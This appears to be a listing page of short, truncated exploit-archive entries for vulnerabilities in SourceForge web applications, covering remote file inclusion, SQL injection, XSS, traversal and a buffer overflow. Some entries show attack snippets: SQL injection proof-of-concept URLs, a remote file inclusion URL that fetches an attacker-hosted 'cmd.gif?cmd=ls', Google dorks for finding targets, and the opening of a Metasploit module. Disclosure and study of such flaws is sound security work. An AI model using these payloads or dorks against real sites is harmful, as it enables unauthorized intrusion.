Bubla <= 1.0.0rc2 (bu/process.php) Remote File Include Vulnerability

No description provided by source. DeltasecurityTEAM WwW.Deltasecurity.iR Portal Name = Bubla = 1.0.0rc2 Class = Remote File Inclusion Risk = High Remote File Execution Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz Discoverd By = DeltahackingTEAM User...

ClonusWiki 0.5 Index.PHP HTML Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/24101/info ClonusWiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script...

PHP Address Book 7.0.0 - Multiple Vulnerabilities

No description provided by source. Advisory: PHP Address Book 7.0.0 Multiple security vulnerabilities Advisory ID: SSCHADV2012-013 Author: Stefan Schurtz Affected Software: Successfully tested on PHP Address Book 7.0.0 Vendor URL: http://sourceforge.net/projects/php-addressbook/ Vendor Status:...

PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/...

Orlando CMS 0.6 - Remote File Inclusion Vulnerabilities

No description provided by source. Orlando CMS classes Remote File Include Vulnerabilities Discovered by : Ciph3r MAIL : [email protected] SP TANX4 : Iranian hacker & Kurdish Security TEAM CLASS : remote download cms: http://sourceforge.net/project/showfiles.php?groupid=195547 C0de :...

mySeatXT 0.2134 - SQL Injection

No description provided by source. + Exploit: mySeatXT 0.2134 + Author: vinicius777 + Contact: vinicius777 AT gmail @vinicius777 + Vendor Homepage: http://sourceforge.net/projects/myseat 1 Sql Injection PoC: http://localhost/mySeatXT/web/ajax/autocompleteres.php?term=99' 'SQL INJECT' Vulnerable...

BandSite CMS <= 1.1.1 (root_path) Remote File Include Vulnerabilities

No description provided by source. --------------------------------------------------------------------------- Grayscale BandSite CMS =rootpath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Te...

Booby 1.0.1 - Multiple Remote File Inclusion Vulnerabilities

No description provided by source. software name: Booby version: 1.0.1 description: A Webbased Personal Information Manager PIM with support for bookmarks, calendar, contacts, notes, news and tasks. download:...

phpRAINCHECK <= 1.0.1 - SQL Injection Vulnerability

No description provided by source. phpRAINCHECK = 1.0.1 SQL Injection Vulnerability Author: cr4wl3r cr4wl3r\x40linuxmail\x2Eorg Download: http://sourceforge.net/projects/phpraincheck/files/ PoC: phpRAINCHECKpath/printraincheck.php?id=SQL...

phpMyAdmin 3.5.2.2 server_sync.php Backdoor

No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit...

ACal <= 2.2.6 (day.php) Remote File Inclusion Vulnerability

No description provided by source. $$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL: http://acalproj.sourceforge.net/ $ $$ $ Dork: intitle:Login to Calendar $ $$ $ Credits: PiNGuX $ $$ $ Greetz : 0o $ $$ Exploit: http://url/calendarpath/embed/day.php?path=http://yourhost/cmd.gif?cmd=ls...

OpenDocMan 1.2.5 xss, SQL injection

No description provided by source. Security Advisory : Multiple vulnerabilities in OpenDocMan Discovered by == Amol Naik amolnaik4atgmail.com Overview -------------- OpenDocMan is a free document management system DMS designed to comply with ISO 17025 and OIE standard for document management. It...

Ossigeno CMS <= 2.2a3 (footer.php) Remote File Inclusion Vulnerability

No description provided by source. :::::::::::::::::::::::::::::::::::::::::::::::::::....................... ::| \ | | \ | | / | ::| | | | | | | | ::| . | |/ / \ | . |/ | ' \ / \ | | | '/ \ \ /\ / / ::| |\ | | | / | |\ | | | | | | | | / | || | | /\ V V / ::|| ||\| || |,|| || ||| || | //...

httpdx 1.5 'MKD' Command Directory Traversal Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/38242/info The 'httpdx' program is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue allows an authenticated user to create directories outsi...

Gravity GTD <= 0.4.5 (rpc.php objectname) LFI/RCE Vulnerability

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP YmmMMMM MMM YM Discovered by dun \ dunatstrcpy.pl gravity-gtd = 0.4.5 LFI/RCE Vulnerability Script: An open source list manager for tracking action ite...

Simplog 0.9.3.2 - Mutliple Vulnerabilities

No description provided by source. Mutliple Vulnerabilities in Simplog v0.9.3.2 Name Multiple vulnerabilities in Simplog Systems Affected Simplog 0.9.3.2 and possibly earlier versions Download http://sourceforge.net/projects/simplog/files/simplog/0.9.3.2/simplog-0.9.3.2.tar.gz/download Author Amo...

ExtCalendar 2 (calendar.php) SQL Injection Vulnerability

No description provided by source. Title : ExtCalendar 2 calendar.php SQL Injection Vulnerability Author : Lagripe-Dz Product: ExtCalendar 2 Download : http://sourceforge.net/projects/extcal/ Date: 10/01/2011 Dork : inurl:calendar.php?mode=cat...

NexusPHP 1.5 - SQL Injection

No description provided by source. Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability Google Dork: intitle:nexusphp Date: 2011-10-08 Author: flyh4t Software Link: http://sourceforge.net/projects/nexusphp/ Version: nexusphp.v1.5 Tested on: linux+apache CVE : CVE-2011-4026 Nexusphp is...

blindblog 1.3.1 (sql/ab/lfi) Multiple Vulnerabilities

No description provided by source. Salvatore drosophila Fresta + Application: BlindBlog + Version: 1.3.1 + Website: http://sourceforge.net/projects/cbblog/ + Bugs: A SQL Injection B Authentication Bypass C Local File Inclusion + Exploitation: Remote + Date: 03 Mar 2009 + Discovered by: Salvatore...

SnackAmp 3.1.2 - SMP Buffer Overflow Vulnerability (SEH)

No description provided by source. Exploit Title: SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability SEH Date: 08/28/10 Author: james AT learnsecurityonline DOT com Software Link: http://sourceforge.net/projects/snackamp/ Version: 3.1.2 Tested on: Windows XP SP3 EN CVE: N/A Shoutz to MC,...